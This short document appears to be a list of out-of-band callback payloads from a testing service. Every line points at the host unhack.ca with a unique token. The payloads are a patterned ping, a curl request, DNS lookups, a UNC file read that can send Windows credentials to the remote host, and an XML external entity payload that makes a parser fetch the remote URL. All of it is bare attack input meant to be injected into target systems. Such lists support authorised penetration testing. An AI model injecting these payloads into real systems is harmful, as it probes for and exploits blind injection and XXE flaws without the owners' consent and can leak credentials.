$ ping -c1 -p 00b4841ed07d843b41b526a1a7fc3e00 unhack.ca
 

$ curl http://unhack.ca/p/b4841ed07d843b41b526a1a7fc3e
 

$ dig b4841ed07d843b41b526a1a7fc3e @unhack.ca
 

$ dig b4841ed07d843b41b526a1a7fc3e.ns.unhack.ca
 

C:\> nslookup b4841ed07d843b41b526a1a7fc3e unhack.ca
 

C:\> type \\unhack.ca\b4841ed07d843b41b526a1a7fc3e\f.txt
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/b4841ed07d843b41b526a1a7fc3e">]>
    <foo>&xxe;</foo>